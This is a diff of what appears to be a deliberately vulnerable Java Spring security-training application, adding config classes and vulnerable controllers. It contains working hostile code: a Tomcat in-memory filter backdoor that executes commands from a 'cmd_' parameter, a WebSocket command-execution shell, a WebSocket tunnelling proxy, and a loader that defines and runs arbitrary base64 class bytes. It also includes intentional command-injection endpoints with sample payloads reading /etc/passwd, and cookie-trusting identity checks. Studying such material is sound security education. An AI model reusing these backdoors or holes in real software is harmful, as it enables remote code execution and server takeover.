b/src/main/java/org/joychou/config/Object2Jsonp.java @@ -0,0 +1,100 @@ +package org.joychou.config; + +import org.apache.commons.lang.StringUtils; +import org.joychou.security.SecurityUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.MethodParameter; +import org.springframework.http.MediaType; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.http.server.ServerHttpRequest; +import org.springframework.http.server.ServerHttpResponse; +import org.springframework.http.server.ServletServerHttpRequest; +import org.springframework.http.server.ServletServerHttpResponse; +import org.springframework.web.bind.annotation.ControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + + +/** + * AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead. + * Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2 + */ +@ControllerAdvice +public class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { + + private final String[] callbacks; + private final Logger logger= LoggerFactory.getLogger(this.getClass()); + + + // method of using @Value in constructor + public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { + super(callbacks); // Can set multiple paramNames + this.callbacks = callbacks; + } + + + // Check referer + @Override + protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, + MethodParameter returnType, ServerHttpRequest req, + ServerHttpResponse res) { + + HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); + HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); + + String realJsonpFunc = getRealJsonpFunc(request); + // 如果url带callback,且校验不安全后 + if ( StringUtils.isNotBlank(realJsonpFunc) ) { + jsonpReferHandler(request, response); + } + super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); + } + + /** + * @return 获取实际jsonp的callback + */ + private String getRealJsonpFunc(HttpServletRequest req) { + + String reqCallback = null; + for (String callback: this.callbacks) { + reqCallback = req.getParameter(callback); + if(StringUtils.isNotBlank(reqCallback)) { + break; + } + } + return reqCallback; + } + + // 校验Jsonp的Referer + private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { + + String refer = request.getHeader("referer"); + String url = request.getRequestURL().toString(); + String query = request.getQueryString(); + + // 如果jsonp校验的开关为false,不校验 + if ( !WebConfig.getJsonpReferCheckEnabled() ) { + return; + } + + // 校验jsonp逻辑,如果不安全,返回forbidden + if (SecurityUtil.checkURL(refer) == null ){ + logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); + try{ + // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 +// response.setStatus(HttpServletResponse.SC_FORBIDDEN); +// response.getWriter().write(" Referer check error."); +// response.flushBuffer(); + response.sendRedirect(Constants.ERROR_PAGE); + } catch (Exception e){ + logger.error(e.toString()); + } + + } + } +} diff --git a/src/main/java/org/joychou/config/SafeDomainConfig.java b/src/main/java/org/joychou/config/SafeDomainConfig.java new file mode 100644 index 00000000..de2d0bd7 --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainConfig.java @@ -0,0 +1,29 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + + +/** + * 为了不要每次调用都解析safedomain的xml,所以将解析动作放在Bean里。 + */ +@Configuration +public class SafeDomainConfig { + + private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); + + @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 + public SafeDomainParser safeDomainParser() { + try { + LOGGER.info("SafeDomainParser bean inject successfully!!!"); + return new SafeDomainParser(); + } catch (Exception e) { + LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); + } + return null; + } + +} + diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java new file mode 100644 index 00000000..b92ff9eb --- /dev/null +++ b/src/main/java/org/joychou/config/SafeDomainParser.java @@ -0,0 +1,140 @@ +package org.joychou.config; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.ClassPathResource; +import org.w3c.dom.Document; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import java.io.File; +import java.util.ArrayList; + +public class SafeDomainParser { + + private static Logger logger = LoggerFactory.getLogger(SafeDomainParser.class); + + public SafeDomainParser() { + + String rootTag = "domains"; + String safeDomainTag = "safedomains"; + String blockDomainTag = "blockdomains"; + String finalTag = "domain"; + String safeDomainClassPath = "url" + File.separator + "url_safe_domain.xml"; + ArrayList safeDomains = new ArrayList<>(); + ArrayList blockDomains = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(safeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(safeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node finalTagNode = tagChild.item(j); + // 解析safeDomains节点里的domain节点 + if (finalTagNode.getNodeName().equals(finalTag)) { + safeDomains.add(finalTagNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(blockDomainTag)) { + NodeList finalTagNode = node.getChildNodes(); + for (int j = 0; j < finalTagNode.getLength(); j++) { + Node tagNode = finalTagNode.item(j); + // 解析blockDomains节点里的domain节点 + if (tagNode.getNodeName().equals(finalTag)) { + blockDomains.add(tagNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + WebConfig wc = new WebConfig(); + wc.setSafeDomains(safeDomains); + logger.info(safeDomains.toString()); + wc.setBlockDomains(blockDomains); + + // 解析SSRF配置 + String ssrfRootTag = "ssrfsafeconfig"; + String ssrfSafeDomainTag = "safedomains"; + String ssrfBlockDomainTag = "blockdomains"; + String ssrfBlockIpsTag = "blockips"; + String ssrfFinalTag = "domain"; + String ssrfIpFinalTag = "ip"; + String ssrfSafeDomainClassPath = "url" + File.separator + "ssrf_safe_domain.xml"; + + ArrayList ssrfSafeDomains = new ArrayList<>(); + ArrayList ssrfBlockDomains = new ArrayList<>(); + ArrayList ssrfBlockIps = new ArrayList<>(); + + try { + // 读取resources目录下的文件 + ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath); + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + // 修复打包成jar包运行,不能读取文件的bug + Document doc = db.parse(resource.getInputStream()); // parse xml + + NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点 + Node domainsNode = rootNode.item(0); + NodeList child = domainsNode.getChildNodes(); + + for (int i = 0; i < child.getLength(); i++) { + Node node = child.item(i); + // 解析safeDomains节点 + if (node.getNodeName().equals(ssrfSafeDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfSafeDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockDomainTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + if (tagFinalNode.getNodeName().equals(ssrfFinalTag)) { + ssrfBlockDomains.add(tagFinalNode.getTextContent()); + } + } + } else if (node.getNodeName().equals(ssrfBlockIpsTag)) { + NodeList tagChild = node.getChildNodes(); + for (int j = 0; j < tagChild.getLength(); j++) { + Node tagFinalNode = tagChild.item(j); + // 解析 blockIps 节点里的 ip 节点 + if (tagFinalNode.getNodeName().equals(ssrfIpFinalTag)) { + ssrfBlockIps.add(tagFinalNode.getTextContent()); + } + } + } + } + } catch (Exception e) { + logger.error(e.toString()); + } + + logger.info(ssrfBlockIps.toString()); + wc.setSsrfBlockDomains(ssrfBlockDomains); + wc.setSsrfBlockIps(ssrfBlockIps); + wc.setSsrfSafeDomains(ssrfSafeDomains); + } +} + + + + diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java new file mode 100644 index 00000000..c2a73973 --- /dev/null +++ b/src/main/java/org/joychou/config/SwaggerConfig.java @@ -0,0 +1,31 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; + +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spring.web.plugins.Docket; +import springfox.documentation.swagger2.annotations.EnableSwagger2; + + +@Configuration +@EnableSwagger2 +public class SwaggerConfig { + + @Value("${swagger.enable}") + private boolean enableSwagger; + + @Bean + public Docket api() { + return new Docket(DocumentationType.SWAGGER_2) + .enable(enableSwagger) + .select() + .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build(); + } + +} diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java new file mode 100644 index 00000000..15822d59 --- /dev/null +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -0,0 +1,105 @@ +package org.joychou.config; + +import java.lang.reflect.Field; +import org.apache.catalina.core.StandardContext; +import java.io.IOException; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.descriptor.web.FilterDef; +import org.apache.tomcat.util.descriptor.web.FilterMap; +import java.lang.reflect.Constructor; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.Context; +import org.springframework.stereotype.Component; + +import javax.servlet.*; +import java.util.*; + +//@Component +public class TomcatFilterMemShell implements Filter { + static{ + try { + System.out.println("Tomcat filter backdoor class is loading..."); + final String name = "backdoorTomcatFilter"; + final String URLPattern = "/*"; + + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + // standardContext为tomcat标准上下文, + StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + + Class aClass; + try{ + // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext + // 适用于内嵌式springboot的tomcat + aClass = (Class) standardContext.getClass().getSuperclass(); + }catch (Exception e){ + aClass = standardContext.getClass(); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + // 获取当前tomcat标准上下文中已经存在的filterConfigs + Map filterConfigs = (Map) Configs.get(standardContext); + + // 判断下防止重复注入 + if (filterConfigs.get(name) == null) { + // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 + TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(backdoorFilter); + filterDef.setFilterName(name); + filterDef.setFilterClass(backdoorFilter.getClass().getName()); + standardContext.addFilterDef(filterDef); + + // 构造fiterMap,将filterMap添加到standardContext的FilterMap + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(URLPattern); + filterMap.setFilterName(name); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 + filterConfigs.put(name, filterConfig); + System.out.println("Tomcat filter backdoor inject success!"); + } else System.out.println("It has been successfully injected, do not inject again."); + } catch (Exception e) { + System.out.println(e.getMessage()); + } + } + + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + String cmd; + if ((cmd = servletRequest.getParameter("cmd_")) != null) { + Process process = Runtime.getRuntime().exec(cmd); + java.io.BufferedReader bufferedReader = new java.io.BufferedReader( + new java.io.InputStreamReader(process.getInputStream())); + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line).append('\n'); + } + servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); + servletResponse.getOutputStream().flush(); + servletResponse.getOutputStream().close(); + return; + } + + filterChain.doFilter(servletRequest, servletResponse); + } + + + @Override + public void destroy() { + + } + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebConfig.java b/src/main/java/org/joychou/config/WebConfig.java new file mode 100644 index 00000000..28ee6967 --- /dev/null +++ b/src/main/java/org/joychou/config/WebConfig.java @@ -0,0 +1,138 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Component; + +import java.util.ArrayList; + + +/** + * Solve can't get value in filter by @Value when not using embed tomcat. + * + * @author JoyChou @2019-07-24 + */ +@Component // 注解@Component表明WebConfig类将被SpringIoC容器扫描装配,并且Bean名称为webConfig +public class WebConfig { + + private static String[] callbacks; + private static Boolean jsonpReferCheckEnabled = false; + private static String[] jsonpRefererHost; + private static String[] referWhitelist; + private static String[] referUris; + private static Boolean referSecEnabled = false; + private static String businessCallback; + private static ArrayList safeDomains = new ArrayList<>(); + private static ArrayList blockDomains = new ArrayList<>(); + private static ArrayList ssrfSafeDomains = new ArrayList<>(); + private static ArrayList ssrfBlockDomains = new ArrayList<>(); + private static ArrayList ssrfBlockIps = new ArrayList<>(); + + /** + * application.properties里object自动转jsonp的referer校验开关 + * + * @param jsonpReferCheckEnabled jsonp校验开关 + */ + @Value("${joychou.security.jsonp.referer.check.enabled}") + public void setJsonpReferCheckEnabled(Boolean jsonpReferCheckEnabled) { + WebConfig.jsonpReferCheckEnabled = jsonpReferCheckEnabled; + } + + public static Boolean getJsonpReferCheckEnabled() { + return jsonpReferCheckEnabled; + } + + + @Value("${joychou.security.jsonp.callback}") + public void setJsonpCallbacks(String[] callbacks) { + WebConfig.callbacks = callbacks; + } + + public static String[] getJsonpCallbacks() { + return callbacks; + } + + + @Value("${joychou.security.referer.enabled}") + public void setReferSecEnabled(Boolean referSecEnabled) { + WebConfig.referSecEnabled = referSecEnabled; + } + + public static Boolean getReferSecEnabled() { + return referSecEnabled; + } + + + @Value("${joychou.security.referer.host}") + public void setReferWhitelist(String[] referWhitelist) { + WebConfig.referWhitelist = referWhitelist; + } + + public static String[] getReferWhitelist() { + return referWhitelist; + } + + + @Value("${joychou.security.referer.uri}") + public void setReferUris(String[] referUris) { + WebConfig.referUris = referUris; + } + + public static String[] getReferUris() { + return referUris; + } + + + @Value("${joychou.business.callback}") + public void setBusinessCallback(String businessCallback) { + WebConfig.businessCallback = businessCallback; + } + + public static String getBusinessCallback() { + return businessCallback; + } + + + void setSafeDomains(ArrayList safeDomains) { + WebConfig.safeDomains = safeDomains; + } + + public static ArrayList getSafeDomains() { + return safeDomains; + } + + + void setBlockDomains(ArrayList blockDomains) { + WebConfig.blockDomains = blockDomains; + } + + public static ArrayList getBlockDomains() { + return blockDomains; + } + + + void setSsrfSafeDomains(ArrayList ssrfSafeDomains) { + WebConfig.ssrfSafeDomains = ssrfSafeDomains; + } + + public static ArrayList getSsrfSafeDomains() { + return ssrfSafeDomains; + } + + + void setSsrfBlockDomains(ArrayList ssrfBlockDomains) { + WebConfig.ssrfBlockDomains = ssrfBlockDomains; + } + + public static ArrayList getSsrfBlockDomainsDomains() { + return ssrfBlockDomains; + } + + + void setSsrfBlockIps(ArrayList ssrfBlockIps) { + WebConfig.ssrfBlockIps = ssrfBlockIps; + } + + public static ArrayList getSsrfBlockIps() { + return ssrfBlockIps; + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java new file mode 100644 index 00000000..ae4a0f1a --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java @@ -0,0 +1,46 @@ +package org.joychou.config; + +import javax.websocket.*; +import java.io.InputStream; + +public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole { + private Session session; + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } + + @Override + public void onClose(Session session, CloseReason closeReason) { + super.onClose(session, closeReason); + } + + @Override + public void onError(Session session, Throwable throwable) { + super.onError(session, throwable); + } + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java new file mode 100644 index 00000000..4c1f7710 --- /dev/null +++ b/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java @@ -0,0 +1,111 @@ +package org.joychou.config; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import java.io.ByteArrayOutputStream; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WebSocketsProxyEndpoint extends Endpoint { + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(50000); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CORS.java b/src/main/java/org/joychou/controller/CORS.java deleted file mode 100644 index 65e703fd..00000000 --- a/src/main/java/org/joychou/controller/CORS.java +++ /dev/null @@ -1,74 +0,0 @@ -package org.joychou.controller; - -import org.joychou.utils.Security; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.CrossOrigin; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - -/** - * @author: JoyChou - * @date: 2018年10月24日 - * @desc: 只要Access-Control-Allow-Origin为*,或者可被绕过,就存在CORS跨域 - */ - -@Controller -@RequestMapping("/cors") -public class CORS { - - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.me"}; - - /** - * - * @param request - * @param response - * @desc: 当origin为空,即直接访问的情况下,response的header中不会出现Access-Control-Allow-Origin - */ - @RequestMapping("/vuls1") - @ResponseBody - private static String vuls1(HttpServletRequest request, HttpServletResponse response) { - // 获取Header中的Origin - String origin = request.getHeader("origin"); - - response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的 - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie - return info; - } - - @RequestMapping("/vuls2") - @ResponseBody - private static String vuls2(HttpServletResponse response) { - response.setHeader("Access-Control-Allow-Origin", "*"); - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); - return info; - } - - @CrossOrigin("*") - @RequestMapping("/vuls3") - @ResponseBody - private static String vuls3(HttpServletResponse response) { - return info; - } - - @RequestMapping("/sec") - @ResponseBody - private static String seccode(HttpServletRequest request, HttpServletResponse response) { - String origin = request.getHeader("Origin"); - Security sec = new Security(); - if (!sec.checkSafeUrl(origin, urlwhitelist)) { - return "Origin is not safe."; - } - response.setHeader("Access-Control-Allow-Origin", "*"); - // response.setHeader("Access-Control-Allow-Methods", "POST, GET"); - // response.setHeader("Access-Control-Allow-Credentials", "true"); - return info; - } - - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/CRLFInjection.java b/src/main/java/org/joychou/controller/CRLFInjection.java index 01668290..b0b0e9f2 100644 --- a/src/main/java/org/joychou/controller/CRLFInjection.java +++ b/src/main/java/org/joychou/controller/CRLFInjection.java @@ -9,18 +9,17 @@ import javax.servlet.http.HttpServletResponse; /** - * @author: JoyChou (joychou@joychou.org) - * @date: 2018.01.03 - * @desc: Java 1.7/1.8没有CRLF漏洞 (test in Java 1.7/1.8) + * Java 1.7/1.8 no CRLF vulns (test in Java 1.7/1.8) + * + * @author JoyChou (joychou@joychou.org) @2018-01-03 */ - @Controller @RequestMapping("/crlf") public class CRLFInjection { @RequestMapping("/safecode") @ResponseBody - private static void crlf(HttpServletRequest request, HttpServletResponse response) { + public void crlf(HttpServletRequest request, HttpServletResponse response) { response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); diff --git a/src/main/java/org/joychou/controller/CSRF.java b/src/main/java/org/joychou/controller/CSRF.java new file mode 100644 index 00000000..21147270 --- /dev/null +++ b/src/main/java/org/joychou/controller/CSRF.java @@ -0,0 +1,29 @@ +package org.joychou.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +/** + * check csrf using spring-security + * Access http://localhost:8080/csrf/ -> click submit + * + * @author JoyChou (joychou@joychou.org) @2019-05-31 + */ +@Controller +@RequestMapping("/csrf") +public class CSRF { + + @GetMapping("/") + public String index() { + return "form"; + } + + @PostMapping("/post") + @ResponseBody + public String post() { + return "CSRF passed."; + } +} diff --git a/src/main/java/org/joychou/controller/ClassDataLoader.java b/src/main/java/org/joychou/controller/ClassDataLoader.java new file mode 100644 index 00000000..acd4ff3f --- /dev/null +++ b/src/main/java/org/joychou/controller/ClassDataLoader.java @@ -0,0 +1,31 @@ +package org.joychou.controller; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; + +public class ClassDataLoader { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @RequestMapping("/classloader") + public void classData() { + try{ + ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + HttpServletRequest request = sra.getRequest(); + String classData = request.getParameter("classData"); + + byte[] classBytes = java.util.Base64.getDecoder().decode(classData); + java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); + defineClassMethod.setAccessible(true); + Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); + cc.newInstance(); + }catch(Exception e){ + logger.error(e.toString()); + } + } +} diff --git a/src/main/java/org/joychou/controller/CommandInject.java b/src/main/java/org/joychou/controller/CommandInject.java new file mode 100644 index 00000000..a1a99035 --- /dev/null +++ b/src/main/java/org/joychou/controller/CommandInject.java @@ -0,0 +1,63 @@ +package org.joychou.controller; + +import org.joychou.security.SecurityUtil; +import org.joychou.util.WebUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; +import java.io.IOException; + +@RestController +public class CommandInject { + + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd + * + * @param filepath filepath + * @return result + */ + @GetMapping("/codeinject") + public String codeInject(String filepath) throws IOException { + + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + /** + * Host Injection + * Host: hacked by joychou;cat /etc/passwd + * http://localhost:8080/codeinject/host + */ + @GetMapping("/codeinject/host") + public String codeInjectHost(HttpServletRequest request) throws IOException { + + String host = request.getHeader("host"); + logger.info(host); + String[] cmdList = new String[]{"sh", "-c", "curl " + host}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } + + @GetMapping("/codeinject/sec") + public String codeInjectSec(String filepath) throws IOException { + String filterFilePath = SecurityUtil.cmdFilter(filepath); + if (null == filterFilePath) { + return "Bad boy. I got u."; + } + String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; + ProcessBuilder builder = new ProcessBuilder(cmdList); + builder.redirectErrorStream(true); + Process process = builder.start(); + return WebUtils.convertStreamToString(process.getInputStream()); + } +} diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java new file mode 100644 index 00000000..6f0c7be2 --- /dev/null +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -0,0 +1,87 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; + +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RestController; + +import static org.springframework.web.util.WebUtils.getCookie; + + +/** + * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。 + */ +@RestController +@RequestMapping("/cookie") +public class Cookies { + + private static String NICK = "nick"; + + @GetMapping(value = "/vuln01") + public String vuln01(HttpServletRequest req) { + String nick = WebUtils.getCookieValueByName(req, NICK); // key code + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln02") + public String vuln02(HttpServletRequest req) { + String nick = null; + Cookie[] cookie = req.getCookies(); + + if (cookie != null) { + nick = getCookie(req, NICK).getValue(); // key code + } + + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln03") + public String vuln03(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + // key code. Equals can also be equalsIgnoreCase. + if (NICK.equals(cookie.getName())) { + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln04") + public String vuln04(HttpServletRequest req) { + String nick = null; + Cookie cookies[] = req.getCookies(); + if (cookies != null) { + for (Cookie cookie : cookies) { + if (cookie.getName().equalsIgnoreCase(NICK)) { // key code + nick = cookie.getValue(); + } + } + } + return "Cookie nick: " + nick; + } + + + @GetMapping(value = "/vuln05") + public String vuln05(@CookieValue("nick") String nick) { + return "Cookie nick: " + nick; + } + 